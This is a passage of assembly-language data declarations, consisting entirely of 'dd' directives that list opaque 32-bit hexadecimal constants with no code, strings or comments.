3AD45305h, 88873727h, 0FE8E232Ch, 49263B71h dd 74374407h, 0ED629779h, 2B32FE4Bh, 3C640DDAh, 2129C739h dd 5D9C0B85h, 8BCE518Fh, 6FCE62B1h, 1677B0ABh, 9475AB9Ch dd 0F04E147Fh, 6B5C9FF4h, 864F43F1h, 2DEC52C0h, 520D01DEh dd 65296E56h, 0E9D87105h, 738A0FB1h, 62FBD2E6h, 0D08B55F7h dd 0E9FBBCD2h, 0DD469068h, 9889195Eh, 0FD62AACBh, 265EF377h dd 18B9F027h, 738B8C9Bh, 3DB50677h, 0B34FD3C9h, 0F2573601h dd 0BCF3A07Eh, 0C9FAF7A6h, 1DA8E588h, 357A51D4h, 0C98E700h dd 0DE3C45FDh, 2BAE4B05h, 7DB6C258h, 0B651BC03h, 9F937B1Fh dd 68B0E340h, 0A8C912FFh, 1FAC83DBh, 5E2579C6h, 51A4BF3Bh dd 0F83CAD39h, 0C8F7EC3Ah, 0B487BF2Eh, 6873F0A2h, 50C21845h dd 0CB0A802h, 129582CCh, 0B2869CB8h, 91DC9B38h, 9B54CFAFh dd 433A1DCDh, 92DE6A87h, 30633482h, 418312C5h, 4144AB32h dd 0AD6A1546h, 0D7E4929Bh, 0D424D60Bh, 1F41B143h, 609E484Bh dd 0A41258C7h, 0DD00A897h, 1FFB7488h, 6C005EBEh, 0AA46B856h dd 0FA827F17h, 49C0C58Ah, 0E73392Bh, 442A1373h, 0B6D25731h dd 2E1413CCh, 7C2D025Ah, 0FF5EF8E2h, 2D27B129h, 28F76844h dd 0AA192914h, 93D80F80h, 63823990h, 584074D9h, 0C9F87EFFh dd 91111864h, 1C394C5Ch, 7BA416B8h, 0B80A6C38h, 2AA37816h dd 84C7B001h, 65822A03h, 0F40FA7D8h, 29CF4776h, 6F4A3716h dd 0F22C066Fh, 0A9F590B2h, 0CBA985F7h, 65F4CC74h, 0D8D68392h dd 29E2F355h, 0C9922B2Bh, 2606D550h, 31A3BBh, 46E8A853h dd 0A38AF9B6h, 0BFA322FEh, 2B136575h, 79DB797h, 1A117028h dd 0C97CE973h, 5A7D0695h, 1BDA1CABh, 70421257h, 0FF414FCBh dd 84439738h, 3B3EE612h, 0AD2B7E3Dh, 40EB39DBh, 57230D9Ah dd 473543DCh, 4B94A2BDh, 0EE2126EEh, 0E6A30104h, 0A8F0740Ch dd 585008BCh, 0A457DE0Fh, 7B426000h, 9F5D4390h, 0B80855F2h dd 90965509h, 942C6FBDh, 62B62DCFh, 816D5696h, 0B5E6ADA3h dd 0FC7B296Ah, 58EE0D77h, 79C111F7h, 0A129FBEBh, 0C334DDC1h dd 987C1835h, 98D54EDAh, 33CDF781h, 0CE454875h, 0D62FB573h dd 2F71192Eh, 0D0B26DBAh, 0A087420Dh, 3D88F8B2h, 0D631867Eh dd 3ACB8AD0h, 0BD0FE4F3h, 0E4C1975Ah, 0B7AFAF28h, 51CEC327h dd 3F039EC6h, 9B0F43DBh, 0B2657002h, 44415ECBh, 0FF33DC74h dd 5A4A8BE9h, 0FC0B0EEFh, 0CC483FF7h, 0A5DB7FA8h, 45269A86h dd 38751E67h, 0B6003A1Bh, 22267223h, 0A1E9685Ch, 5D94F4E1h dd 2513B48Ah, 3F43BD15h, 145A22B3h, 0C37C6FDEh, 9B41B33Ch dd 0B56B4013h, 660F35C2h, 0F779DED3h, 0C714DDF7h, 71E7EB87h dd 0A1256D11h, 53D7AC67h dd 265F2C56h, 0E88034A6h, 952F1873h, 65E787Bh, 89001AF0h dd 4977D881h, 0C843E302h, 8CA150D0h, 459A00B4h, 0A438BFEBh dd 0F2CC40D9h, 0EBBB717h, 0CA22E6F9h, 8564ABFAh, 8C8FC8FDh dd 0AF8CEA6Ch, 0D259C82Ah, 787E2324h, 91F007Eh, 0E4640569h dd 28479BE5h, 0C4529E57h, 72407FB6h, 0FC737A98h, 694FC4F6h dd 4B46B72Bh, 0CB781043h, 0C2C85F62h, 0D68CA7AAh, 114B22FBh dd 0E5C1C0B6h, 0DB8BB97Eh, 725E80Dh, 47CCFEB2h, 0F19626A4h dd 2C355DF2h, 10FEC1B6h, 0FEDBA25Bh, 0EEA435C7h, 3F9308Bh dd 5F62BCE7h, 868B3C18h, 835B450h, 23FC31DBh, 0F9B0885Ah dd 7D4C7C8h, 73E48A80h, 0E145F14Ah, 41526972h, 0C22141FBh dd 5F52BFB8h, 4FD6A1D3h, 72E391F3h, 0B41F35ADh, 1AA715AAh dd 51A7F063h, 60EA029Dh, 13A978CAh, 58374DACh, 8A50ACC4h dd 0C6835476h, 1B26F46Ch, 0C6486FE8h, 8389A4BCh, 860FB88Eh dd 1471C5DEh, 0E98C8604h, 3F7B9F44h, 0A885D722h, 44D9AA20h dd 0C01C966Ah, 7D9245D4h, 0D4719F8Fh, 3B80B940h, 35F28DF5h dd 0E770026Eh, 0AB32D8C9h, 58D9E864h, 0ED02FE3Dh, 2C842D19h dd 84DB6AC6h, 1399F4A6h, 8FD208Ch, 32094268h, 4B665755h dd 0C931ED1Ah, 0CE261DC5h, 3494DB2Ah, 0B9261B56h, 0DD683747h dd 0E18954C9h, 731683D0h, 0D5DD2E5Fh, 54872F99h, 43EA188Fh dd 23805973h, 490F9527h, 202FE6BEh, 0E12B2B7h, 147C4AD3h dd 5D9233DBh, 46785A3Ah, 8BF89D5Ah, 55D115Fh, 329438B8h dd 6F24765Dh, 91650487h, 0B6C1196Eh, 0B998119Ch, 3A735341h dd 0A4E09D8Eh, 27706829h, 94A36A96h, 0F4BCD7D1h, 5D7D8D18h dd 0FA8C7EFCh, 605E3693h, 7EEDB1F7h, 0FD970BA9h, 0EE93FA6Ah dd 7F9DD5B6h, 18388244h, 5740A9A6h, 24376422h, 0E2947743h dd 3A6E8B95h, 9519F05Ah, 0ABD63E99h, 0E3D45266h, 762433A6h dd 0FCB0E9E9h, 0F536BD27h, 8EEBA7B8h, 0A215E11Dh, 65030105h dd 0E656FAFh, 3C68904Ah, 0E030992Eh, 6C6D3D7Dh, 19E0B1ACh dd 0D481AB7Eh, 934D8934h, 6DC1A683h, 3D1BEC36h, 5AFBBD1Fh dd 42E3BEB9h, 5499DF00h, 70CDFF1Ch, 9846C94Eh, 4BAF3FA4h dd 0B30494D5h, 1D8B074Ah, 524BC8BFh, 2980873Eh, 263B35B0h dd 821C403h, 0D5A036E9h, 6E88B8F6h, 535474A7h, 0E66074FAh dd 0A8B14DA9h, 0A0FB2C52h, 0EED63D4h, 0CE476792h, 4A1E671Bh dd 0AAF9BE37h, 8B12319Ah, 410A434Ah, 51A64398h, 0E16D5554h dd 91FE9933h, 0E4AD3797h, 0F2BD9FD2h, 7F06DA82h, 0F9632160h dd 0B9484AF1h, 0DDADB4C7h, 20F2D2F3h, 872721E2h, 0AE8EF99h dd 2CF7CB0Ch, 13CDF69h, 2942388Dh, 3DD10h, 3097D3FFh, 0DFF1A3FAh dd 0C80EDD8Fh, 0FF0DCB83h, 3C1C7A78h, 128E3827h, 0E35502AFh dd 0D28C3577h, 0A7D45397h, 4B5B8948h, 0C14DCE84h, 1A0EE877h dd 0E29C3216h, 3F90F4A3h, 7FF05CDDh, 3569CDDh, 9ABB6AD1h dd 0A2AC1A7Bh, 8B4D1173h, 992B8858h, 6AA58F8h, 0FC18A171h dd 8C6A6E59h, 0E879C609h, 768FE2EEh, 0ECD25982h, 0FA5ECB47h dd 0A632083Bh, 26614B3Dh, 886C80D9h, 98DB46BEh, 9F22125Ch dd 0A5F1F6Eh, 4B220720h, 4B066F4Ch, 0DCDFD219h, 0A2456381h dd 398AAAEFh, 0E0B9AC02h, 634CBC87h, 59ECC4E8h, 3BA48094h dd 0A5C78F50h, 38C827EAh, 754CE94Eh, 99C35830h, 0EBD977C6h dd 3FAA3618h, 11B59F47h, 974F0FA3h, 462DC69Bh, 0BE47A6EFh dd 43077897h, 4560DD28h, 0DD3916E0h, 0B80D2B16h, 3818AA9Eh dd 0FDA05A0Ch, 0E73D9741h, 5510C10Ah, 193E2DB3h, 4BEBD243h dd 59011238h, 0A481B987h, 91BE60A2h, 8B955B90h, 394FC336h dd 0BC759FECh, 0B0EB9C6Dh, 0CB042652h, 56E4CADEh, 0B3F019B4h dd 0BFF423E0h, 0EE78BB87h, 0FB66A0EFh, 0EA1DB19Dh, 0D1534B7Ah dd 20215EE2h, 0E5BD7834h, 9378237Fh, 5DA1D513h, 49B93E51h dd 88818629h, 4BD48AB5h, 943C1E39h, 1AE7B282h, 0B22801D0h dd 20313415h, 2FA04C59h, 0ADD33829h, 7589CD21h, 0C8109EEDh dd 9DC9B151h, 0A0053A65h, 7C5CB776h, 0C46F6DE2h, 0A4F39066h dd 0ECABA56Ch, 0E554D352h, 52A1774Ah, 0E5B5AC86h, 976AEE3h dd 7BC11D25h, 1779AFA9h, 27C86811h, 0ECF00743h, 0F99AAE6Bh dd 0C06F056Dh, 5FC82B8Bh, 679B5E15h, 756E58DEh, 0E9A5C128h dd 0AD1AE2Bh, 652182A9h, 8D723A28h, 30AD1BDCh, 36908764h dd 0E5293C16h, 0B065CBE4h, 0F747C679h, 3552FC5Ch, 0BFA2D534h dd 0F7F6DB57h, 0E9B03BD0h, 0ACB8F94Ch, 0EA3FE71Eh, 7FE344D3h dd 0F0429BD1h, 112BAC10h, 0BD4FDD5Fh, 0D436BBA1h, 288635B1h dd 0FABE690Dh, 665DDAF7h, 0A9AAE3A1h, 0E2EFB0DBh, 0C8B4F357h dd 0C89F2F3Dh, 874E50A2h, 0DA983A10h, 0FB989C66h, 904DBA2Fh dd 0C3088529h, 0DDF1C357h, 0B2B02BC7h, 7D73728Eh, 44EFCC95h dd 36646C7h, 0DAD95DBFh, 4978770Ah, 0D9853A69h, 20D73701h dd 68A2671Bh, 5C2A53F7h, 933B684Ah, 0D6725AB3h, 990473C9h dd 3858010Dh, 39378332h, 0E030982Dh, 5021FAC3h, 0C88E0E42h dd 0B99A7D79h, 44EAD52h, 63D3C4EDh, 2A4C556Eh, 0EC46B86Dh dd 0C5B7F993h, 1EA9A127h, 1C153E96h, 197F85F7h, 6A53994Bh dd 0D2E7A1D1h, 3D989457h, 0E891BCA0h, 70E3DCC3h, 0F604F0FBh dd 5070793Dh, 0F27A6482h, 0A945051Bh, 1AF49CAh, 0B6A018C5h dd 21BD6BF5h, 0ED0635Dh, 0FCB5A935h, 379C01E5h, 67A654B9h dd 208D8F6Bh, 0ADC91598h, 8ECE748Eh, 7B16EBF6h, 55F99741h dd 684D6839h, 0AFF9BDDEh, 839C20F6h, 0CB506435h, 0E07BA6A8h dd 0A67E2C35h, 5A00835Eh, 2C2D6DD0h, 0C92CF2C7h, 0CC0794A9h dd 24A3557Fh, 67AFBE3h, 73E485AFh, 0CD15E794h, 375282E0h dd 461E071h, 5093B27Ch, 9A028790h, 0D7185BC8h, 0B2F2C3BAh dd 0C4589D6Eh, 0E7FDB05Ah, 0E88E1D1Eh, 1896E342h, 0E7A992E1h dd 5F968D5Ah, 858F218Dh, 0A42E687Fh, 1ABA3948h, 32F272FBh dd 0C2F93530h, 84BEBCCCh, 967B54Bh, 6123FEADh, 371D6AC0h dd 667F1360h, 0EC3E1D36h, 18BA2F2h, 297C0A12h, 0A01B2145h dd 62283EA6h, 66016B3h, 0D3C4CAE9h, 0D81465B6h, 0B90D022Ch dd 5B8F2DADh, 0A3114633h, 0F6AE6243h, 0B94F1B0Ah, 25B5A72Bh dd 23249CCFh, 929F31E6h, 0A6F3268Ch, 0BC69D2A3h, 0E8C7A548h dd 87E71EB1h, 822DA301h, 84CC8381h, 6715094h, 0BB27F1F5h dd 5F24DD08h, 0FFCB86E8h, 50676230h, 52785FD3h, 1E4A2D6Ch dd 0AC52940Fh, 0C7973C65h, 0ACF2718Bh, 6F3666CDh, 8C31E25Fh dd 0B2AE441Eh, 49ACD2D2h, 3CC500D0h, 0FD77C04Bh, 0B96F7E6Eh dd 6EA2D2F3h, 2BDDB752h, 88A08750h, 0D8CCB963h, 0FDD4A049h dd 7E72B107h, 1197B98h, 0B52CFBA7h, 8D8819CAh, 93ECA210h dd 98DC9F13h, 0C02AF2DEh, 3F39DBCDh, 37B30B44h, 0DEDDCB68h dd 3A17FF23h, 4068B80Ch, 80D2165Ah, 355827D0h, 0D9D83679h dd 0B3FEB825h, 0AC68BC1Fh, 0BA137A75h, 4485B37Ah, 0A8BD5110h dd 23BA2E5Fh, 40FE5A47h, 2FCD78EDh, 630D03D7h, 7BF3584Ch dd 8ECF2C93h, 0FF17F93Ch, 0D777640Fh, 0FBDF5480h, 79CAEAB8h dd 367F26F7h, 98C800A1h, 4AC4209Bh, 0A3A1E269h, 0C32D2A94h dd 14F1B8C8h, 3A8A79BCh, 6DBD810h, 0ADE02860h, 5FABDF1Eh dd 0F22B5331h, 0C80D4453h, 512E2364h, 2CE05785h, 5923159Bh dd 55DB01C5h, 0E661DE02h, 32959912h, 51115CEDh, 80CD4A6Dh dd 8F55BFEBh, 0FF3B33ADh, 7F2C4618h, 7D7B12D4h, 8EB168C6h dd 0CDF79174h dd 5DB85B5Fh, 4A1B8388h, 0F706F0Ch, 0FABBFB28h, 0B0AF2A0Bh dd 83F35458h, 6BD28063h, 8360202Fh, 245FF6CEh, 18BB8C7Fh dd 3E14189Ch, 0EE65AC3Ah, 7861F0CFh, 0E10EEF63h, 3F4BCD3Ah dd 8B60F438h, 5B12E05Bh, 4DEB2512h, 95F3E099h, 0CD4BCA8h dd 0AA610549h, 6BA8C34Bh, 0BD2613D9h, 8C43D3E2h, 69B165F2h dd 16479E8Fh, 86D25FC7h, 8E494EAEh, 0B1F28C81h, 20C0026Ch dd 38B7881Ch, 0DB0227C1h, 75696F28h, 168315C1h, 0E24EA953h dd 0D776412Ch, 710B2965h, 28E3A853h, 2358B103h, 18D51BEEh dd 0BA02A1BCh, 0C3F35819h, 547DE485h, 9DCD16CBh, 606E8D28h dd 0F22C165Ah, 0CC9EFDh, 15AD4992h, 36C25B2Dh, 805C69DCh dd 93012608h, 759674ECh, 0BE0512FAh, 37EE66C8h, 8FAFF778h dd 93C27AC0h, 3875459Ch, 3BF7B542h, 0E30C9E3Ah, 93F821BBh dd 29FA3324h, 9283E1D9h, 0A93327A2h, 0AD2C946Dh, 7842450Ah dd 0CFF57DE5h, 0E3F3150Ah, 1324C769h, 0BEE1F260h, 2B2D3775h dd 0B4C37267h, 0B88A6CA4h, 4E52B053h, 21610B9Eh, 30380558h dd 0F18E9D6Bh, 0B36C3FBh, 491B2B55h, 0A0DCC386h, 214165AFh dd 99906D9Ch, 0FF944EB8h, 394128CFh, 0B32EE58h, 4BAA4857h dd 8E115CBh, 103F2F46h, 3701F99Ch, 0FC0BF799h, 43B01B2Bh dd 97452EC6h, 92FD9BDAh, 251EB9E8h, 173E22A6h, 0C5B6556Ch dd 0CA1599C9h, 0E492CD81h, 0B7AD3B55h, 62F3C926h, 359A10EBh dd 0ECAD7D72h, 0A5C49A78h, 26CC98ABh, 860879D1h, 0B53C4A42h dd 0AC4AD8Dh, 684BA9EEh, 0E3303E1Dh, 461F7A33h, 3DF09941h dd 0F89A6207h, 1CC9B60Dh, 64BFA4D6h, 9D2C2567h, 149D50EAh dd 0EC25C9DEh, 0C34C0B3Ah, 8F77219Eh, 74C7D68Ch, 5D36DDFh dd 0FCA46D0Fh, 0A6CC2636h, 2CDFED79h, 1A80D716h, 881E059Eh dd 42906BC8h, 49C4A01Eh, 6C7877C1h, 6B92C315h, 0EE0449E8h dd 1B60FCB9h, 1009E049h, 19C7C2ADh, 0EE5675E1h, 0CDC20606h dd 53FF9845h, 0CE0E730Ah, 291FAC4Ch, 0A65D857Eh, 0D2C30E8Eh dd 0F6712753h, 50153C20h, 1358C649h, 0D730B6F4h, 9A149891h dd 17307C1Fh, 620E8620h, 770E86EAh, 0F687F454h, 965F9569h dd 9C1016DCh, 0F28CFF47h, 0AF1745EFh, 0E22F97CDh, 0DF91AE3Dh dd 62ED75F3h, 778F825h, 5DEBFF99h, 0DC735DC5h, 0BA1C32Eh dd 664411F0h, 0EAD01F3Dh, 0A49EC702h, 0AA4C744Dh, 4078316h dd 663DBA50h, 0CBA6260Ah, 0DB544C29h, 793F0D85h, 0DD4082ECh dd 0F5084EA9h, 0BE3EF149h, 5515D0FDh, 0EB746514h, 0B977B44Ah dd 63A27807h, 0E80E00BDh, 0AF885AC4h, 6911EF77h, 9649F30Fh dd 8170D9A6h, 86F905A0h, 4CB0B13Bh, 281EFF50h, 38843486h dd 0C0AB1385h, 6C8B155h, 0F68AAECFh, 22B1F568h, 0ABAD6760h dd 113118B9h, 1FB88DF4h, 0BD5FE9C9h, 83BD3D0Ch, 650DD9B9h dd 13822312h, 0CE4F3FA0h, 54AE5283h, 0FAA37CDDh, 8D4B7F21h dd 60A0238Ah, 3B846219h, 0ED3C6A79h, 0FC9E616Bh, 0C056D584h dd 0D4CFFF40h, 29A78C39h, 0BE231F67h, 0EE61EA26h, 64B6C498h dd 281BBCCh, 3BD84E9h, 0EFB7CE86h, 0F1AF71F6h, 4AB38931h dd 3DAAA060h, 0EE2D6DB0h, 431B1093h, 2BE733D6h, 126DBA0Dh dd 0BC45FBCEh, 461AA19Fh, 9B5DCEBAh, 496718F3h, 77F911EAh dd 0AAF31FEh, 0D1E95430h, 85215953h, 8C6D8789h, 2052D23Fh dd 88559449h, 0B9957745h, 0BD050248h, 0DAC3E21Dh, 46514C7Ch dd 3047B5B5h, 2F6DB1F7h, 326B8530h, 0DCBBA305h, 0B8CE4077h dd 0B1D46CE6h, 842A35E6h, 258DC5B9h, 138C3C20h, 30185811h dd 64036C3Fh, 507EA8E7h, 5179D81Eh, 9081DD19h, 1CDF281h dd 0BDE74F9Fh, 225A6558h, 796BC118h, 0A451E5BBh, 0C896F1B0h dd 46629FC6h, 4E97CD91h, 0A231AC11h, 0DD5A8731h, 0B34B637Dh dd 4C32A205h, 0E3AA883h, 777C34E7h, 5CD531FEh, 1C163E17h dd 0A463386Ch, 109A751Ch, 7045ADB6h, 0F4DA100Ah, 0DBF9FB1h dd 43508D3Eh, 0D46C410Fh, 1886668Bh, 25C3D787h, 740F5C3Ah dd 7A443A3Fh, 0C1967395h, 178621A5h, 376DEADCh, 6BAC0C5Bh dd 0E7A56424h, 0FFC2C88h, 9C01809Fh, 573E2163h, 0B3D0BDDCh dd 0AFD28FDAh, 629205C1h, 8F0792D7h, 449C63D9h, 9F7BF904h dd 0D094711Ah, 33A0B778h, 2A0A20ADh, 6B37E43h, 7981266Ah dd 0C6EF7CC3h, 0EA02D1A8h, 0AE74B791h, 21B3D447h, 3A8A643Ah dd 0CB8D6B27h, 29D6069Ah, 0BE4346C5h, 0DB9ACBEFh, 0D6B31093h dd 7808E86Ah, 1DE73101h, 425B33E6h, 9403F44Eh, 0D917D669h dd 0E1137F18h, 0C2170234h, 6F92AC0h, 0F2808BB8h, 86B6A02h dd 9486C9A7h, 0BC7D431Bh, 16483FFh, 0D96B67E3h, 344DD066h dd 67B1788h, 4ABA401Eh, 0A55FBF6Ch, 0F2DA72E6h, 4A04D4F4h dd 91D73807h, 0C5B59560h, 4437A78Bh, 0DC8E960Dh, 0A4AF81B8h dd 674BB389h, 68A2CE0Bh, 5D286C71h, 0E17C2EFCh, 0E3B236C1h dd 0ED1C9C4Ah, 2FC3B512h, 3050674h, 0E2C205E0h, 416049DDh dd 0BB503F89h, 0C15804E1h, 1EDA766Dh, 213A00F4h, 879E6E1Fh dd 0A0215ABAh, 502E1FC7h, 0E3066F6Eh, 690BEBE2h, 30BC819Bh dd 0B1A5ACE6h, 6EAF2983h, 72F05909h, 0E4C7A8B1h, 0F86FD15Dh dd 0D8F87923h, 8DC20CDDh, 0E1412EB7h, 4A1EEA59h, 0C88BF0C8h dd 0EAB91D5h, 0E92B8BB8h, 7061BA1Dh, 0C17F1D97h, 0FB7BC213h dd 0EF1CB336h, 5B8A9D8h, 0E19B3CDDh, 74B1BA26h, 3101AD60h dd 81212288h, 0EBD31B4Fh, 60DFCD8Ah, 0C8CC0379h, 114CA15Ch dd 1533D680h, 9A760D8Dh, 0CFC97FA4h, 22BECDEAh, 43FE170Ah dd 0BFA29CFCh, 2AD349B6h, 490E1EE7h, 0F27985C3h, 802ED581h dd 5177FF05h, 5073491Dh, 376F8399h, 9AEF5499h, 75A4B315h dd 7C3EEE0Ah, 87DEA048h, 566B976Bh, 0B7ECDB72h, 87605597h dd 6FA40788h, 0F04A9D5Ch, 67DF461Ah, 0E17624B6h, 6F5E75B7h dd 0DF1170C9h, 939ED55h, 5586AF4h, 0ECDB752Ch, 0EDF078CEh dd 0C51E4249h, 6DCA35CAh, 0C69214CFh, 0EFDE9E5Ch, 0DCF3A98Eh dd 0DA69AE3Dh, 0E1889597h, 0C79492A5h, 0E795A62Ch, 0C5546380h dd 0D2A6964Dh, 6ABB4F27h, 64F384DCh, 75A66679h, 913EEh dd 3F3F0947h, 7601CDDFh, 99AF3933h, 29F66B34h, 69C4C056h dd 0B850D47Bh, 60D48A42h, 4FB4D153h, 4A0C2954h, 62DA521Bh dd 9A0CB8EBh, 0CF511AFh, 0BB5B511Ch, 0F6C31A94h, 0B3C46DE7h dd 0E34D036Ah, 0DEE4807Ah, 0CCEA2233h, 0BEC6493Bh, 692F32AEh dd 0E72DCC52h, 35394EB6h, 0F5DFDE32h, 4D904D29h, 9C83E21Fh dd 6EDB67EDh, 4A1C5B4Ch, 976C11C2h, 0EC717E45h, 88AD4767h dd 449576F6h, 1C5DB6B9h, 0E2A34571h, 0CBAA5A90h, 0F6240E06h dd 9FCD0DEBh, 8D94EDC7h, 0F607C937h, 3332C437h, 40C5EB99h dd 1020A50Ch, 6585CAA3h, 9B84D761h, 8C99C78Ch, 3984C9Eh dd 9A6CE160h, 8508D346h, 0BD779D01h, 7BE9D5A1h, 13E32999h dd 0B52DF7B4h, 0E4DCB87Ah, 9388981Ch, 7DFD3C77h, 0AFDD1A6Ah dd 0C8113420h, 1DB4FD3Eh, 6B29D6B7h, 9250CD2Ch, 0BA3577Eh dd 757B64B9h, 89B81945h, 132AB938h, 0FC666282h, 4F17435Ah dd 0BCB6A62Ah, 999828C0h, 40C86D8Dh, 0EB6FCE29h, 0DCD5A971h dd 0B04FC5EAh, 75B23862h, 0F7333757h, 70A82A9Bh, 1F2C743Dh dd 2B8F1CFCh, 266293EFh, 7CF1D1Bh, 31977824h, 0D9E438BFh dd 6862BF5Bh, 73A45616h, 2A5E927Dh, 3E824210h, 0E4073FAFh dd 1E530E2h, 0BBFF34C4h, 0C611DE1h, 7A4FF551h, 9AB4C0E6h dd 0D4382C9Fh, 0A0469EE2h dd 35DE7B1Dh, 5B054C10h, 0ECAE7D64h, 793EC845h, 0CC06A4BBh dd 0CF45826Ah, 0F96B7B80h, 9A765B35h, 0D081B428h, 0A8DC8A3Ch dd 84073B17h, 4B2301Dh, 0DA78DA10h, 3670F47Dh, 4E5CAF6Fh dd 2C747E30h, 0B0F0DEBAh, 959C4BAEh, 3F201D98h, 2D70EDD8h dd 123D9253h, 9CB14F6Bh, 0AEE36520h, 0F6E4949Fh, 0AB76D012h dd 0ADA7AB00h, 0DB13E759h, 3B55BAC3h, 83870B9Ch, 0C7C08168h dd 0FD3A6838h, 0CC77082Bh, 0DB2F2818h, 6238F782h, 7E65EE21h dd 71BAAE14h, 0C992E116h, 107F60D5h, 0B6B554B7h, 47CD02B5h dd 1FCBF707h, 6DEBE08Eh, 509B09B6h, 0FEC5C6DCh, 7D991BE1h dd 0EE4E85AAh, 0B062E586h, 0D7D408Bh, 782FC115h, 0F2D9ED8h dd 6401C3E1h, 0CF0E7E52h, 90417F24h, 0C9F1D6C5h, 43810E32h dd 351AEACBh, 69FE438Ah, 6E1AF80Eh, 1458CE57h, 0E364A00Dh dd 1D2372A1h, 0C37A5759h, 391301D0h, 0F5071A7Dh, 3085A000h dd 36A02DC5h, 187CAA41h, 99B065E6h, 3105D9A9h, 0BE8227F3h dd 1CD86FFEh, 0D2D83B75h, 0A247FE90h, 0E21219DDh, 0CE090EA9h dd 68030742h, 0DBBA6F3Fh, 4929B816h, 0B2E816DBh, 1775A2F0h dd 1A8E5FB9h, 90DED7F3h, 0F33DA0C6h, 3F0CF779h, 517384D4h dd 0F1596E3Bh, 17596658h, 9EAD8887h, 297E819Fh, 6F265A40h dd 47156838h, 66BC6554h, 0AC1C322Ah, 0B6805B81h, 0C636D861h dd 377F4D3Ch, 0B446F904h, 2D7FE328h, 46CB90D9h, 0B31C399h dd 32F2C201h, 70D89D97h, 0AE67E0F7h, 0CCC1DC0Eh, 23E8EC04h dd 0D12682B3h, 0A8209362h, 58F67E9Eh, 4B574893h, 0D4AC4762h dd 0B0562DE5h, 0D47CC4D3h, 532B73FAh, 8C312178h, 5FF9A362h dd 8C83AF7h, 85DBFDAAh, 62D45B99h, 0E4FDB05h, 307EC553h dd 0ACBBFC62h, 0E903DC9Ch, 0D5BE8B45h, 56B8FAC8h, 3035FF24h dd 29722028h, 7684967Ch, 0D9EBEB2Dh, 9C1CC53Ch, 55A22145h dd 9679180Fh, 0E207F800h, 8378E65Bh, 1AC840D7h, 0E68FEBD6h dd 87007128h, 588197A1h, 0F6779441h, 5963EB67h, 1D4F7D53h dd 53337681h, 4A7A800Ch, 0C7B2F026h, 82D7107h, 0FD43A89h dd 163A3189h, 0C36C68CDh, 44AC44F7h, 6DCA363Ah, 3B041B4Dh dd 846F100h, 0AB222759h, 3DE74494h, 2A46AD7Fh, 0C2010456h dd 0A9E3810Ch, 36D39774h, 355D6773h, 0CEEE312Eh, 0C514362Ch dd 898A67EAh, 70B32C06h, 9AF4EBCBh, 56BFD15h, 0E6FEBA8Fh dd 7BDC5C08h, 73B3CD33h, 0CCF6B56Dh, 4A2A1CA6h, 0D06BC702h dd 741F892Fh, 0AE02C59Bh, 0C5DCEC25h, 0C2823573h, 0ADD11DC7h dd 79C7E006h, 22D7CDEAh, 0D705011Fh, 8243C739h, 0E566CAC7h dd 0F4A3871Bh, 1259FD7Fh, 18326903h, 520A7EC7h, 811156AEh dd 99857755h, 0A4740B62h, 3C4E6DB3h, 0DF50CF39h, 0AC8881CDh dd 1E37901h, 31CA9811h, 26FB8DDDh, 5A9C956Ah, 2B316103h dd 611F95A6h, 0B9D887A7h, 49CABC9Ah, 0E3746CCDh, 14ED6E34h dd 0DDE85A2h, 3044B8F7h, 0A1CE2AFCh, 0FCD8C5FDh, 0B3F6D857h dd 68F188EDh, 3A8ABF97h, 0DCCC0406h, 0BFE72D0Eh, 3CE8001Dh dd 14E7E3D5h, 4C0015EAh, 43321137h, 675ABFFEh, 2698D357h dd 0C6CA6C6Ch, 74D7EF6Dh, 0C1AC26B2h, 342F3F3h, 0B5A71D91h dd 0F204C1B9h, 819BE49Ah, 0EEE9C1CEh, 0CD8A690Bh, 0D9E18A99h dd 12DD8F2Ah, 0B70B45AEh, 0E4CAE469h, 0CC16121Dh, 5CF5DCE6h dd 964AF1DEh, 59ACD1BAh, 0DCF6E368h, 0ABED60AEh, 8ED07613h dd 363BA4A0h, 30879367h, 424E959Ch, 7F360061h, 58403C72h dd 68BA3E3Dh, 0DB637A73h, 0C8477D7Dh, 0C99CBEEFh, 0A4222A33h dd 57F26AFAh, 9A19E912h, 47E58179h, 0EBB09229h, 815819B3h dd 5690C06Ch, 1D4C1A92h, 0A66A8CFFh, 0AB6A91CFh, 0F7362C45h dd 21BB8298h, 0CCD4F10Dh, 83873454h, 0A845B859h, 0D15B8700h dd 28032454h, 0AA3D552h, 80492E49h, 0EB2923A5h, 95ABA63Ah dd 0BA0CF646h, 0B7F34F35h, 80F2414Ah, 0CC946C0Eh, 0BADFF0DDh dd 0C815865Eh, 9DDCC760h, 0FF036F84h, 93A097A1h, 0BD4E2CA6h dd 2DEEFC61h, 7A16061Eh, 0F70CCEAAh, 90E699E7h, 0B2189BE0h dd 59D3BCDEh, 4DC573FAh, 0CBF01ABh, 9F958DF0h, 42C0350h dd 0ED974CBh, 52F8004Ah, 38F3A742h, 91013410h, 2E905CB0h dd 8E36356Eh, 7218F136h, 2378169Fh, 74F4F838h, 76BA7807h dd 57907E6h, 0B450182Bh, 0A5555650h, 0FE3AA209h, 0D710F88Bh dd 6A73A536h, 983296Eh, 9BAF446Ah, 6191FB4Eh, 43E2C03Ah dd 0C3F05762h, 0C05FD781h, 9064A2AEh, 0D3B43E38h, 34495F23h dd 887845D6h, 0DB67B3C7h, 0B68FCA4Eh, 0F81C3BBBh, 9BAC48A1h dd 275D50A7h, 936B816Eh, 0E421ACC7h, 26849989h, 3B298A67h dd 0BEB9C4A1h, 15AE51FBh, 646C9DDEh, 0C0C546A1h, 2D03D6AFh dd 35A32BFCh, 4FE20C62h, 937BCC0Fh, 0B3F1180Eh, 0BF9BF0CBh dd 58C7B0CAh, 2B46CB46h, 6C2BB1B7h, 33ABBFEAh, 107E5A1Fh dd 9543A894h, 5A428123h, 0A1697056h, 44DD4E2Ah, 0C1CC4AB5h dd 0FFB6F86Bh, 0F554267Fh, 1AF404Bh, 0B7449C3Bh, 92FB59A2h dd 59138F6Ch, 47BCD85Dh, 0F6A359D7h, 0A7693C83h, 0DE03ED78h dd 0EE70659Ah, 88035D5Dh, 0A492E7E7h, 0D72B589Ch, 8D0C1903h dd 351FFF99h, 0E2716DB9h, 3C273C06h, 0B8306409h, 13C6E42Fh dd 6A43565Fh, 934AE3E4h, 179046BEh, 0AA30659Ah, 0FE64E115h dd 21BB3380h, 0F18E23C5h, 59CA176h, 0D5C6BD87h, 667332F9h dd 2A2B922h, 6AD93D4Fh, 0C6C36BD3h, 6F90A050h, 0A52BAF38h dd 4DC5FD98h, 473208E5h, 9C6D03E5h, 0EE2FB050h, 575D9F57h dd 0F9788BA6h, 47AF02C2h, 0F8E4B7B7h, 